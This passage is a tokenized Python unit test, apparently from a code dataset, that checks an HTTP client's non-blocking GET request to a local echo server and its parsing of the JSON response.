"pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "connector_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connector_", "._", "connected_", "and_", "beta_", "._", "connector_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "connector_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "beta_", "._", "requester_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "beta_", "._", "requester_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "requester_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "connector_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "connector_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "connector_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "beta_", "._", "respond", "ent_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "respond", "ent_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "beta_", "._", "respond", "ent_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "bytes_", "(_", "beta_", "._", "respond", "ent_", "._", "body_", ")_", ",_", "b", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "data_", ",_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "respond", "ent_", "._", "headers_", "._", "items_", "(_", ")_", ",_", "[_", "(_", "'", "content", "-", "length", "'_", ",_", "'", "122", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "content", "-", "type", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "date", "'_", ",_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "server", "'_", ",_", "'", "Io", "Boo", "k", ".", "local", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Service", "Ech", "o_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "service", " ", "request", " ", "response", " ", "of", " ", "echo", " ", "non", " ", "blockin", "g", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Service", "Ech", "o_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "alpha_", "._", "eh", "a_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "connector_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connector_", "._", "connected_", "and_", "beta_", "._", "connector_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "connector_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "connector_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "connector_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "connector_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "connector_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "transmit", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "beta_", "._", "requester_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "Out_", "=_", "beta_", "._", "connector_", "._", "tx", "es_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "requester_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "b", "'", "GET", " ", "/", 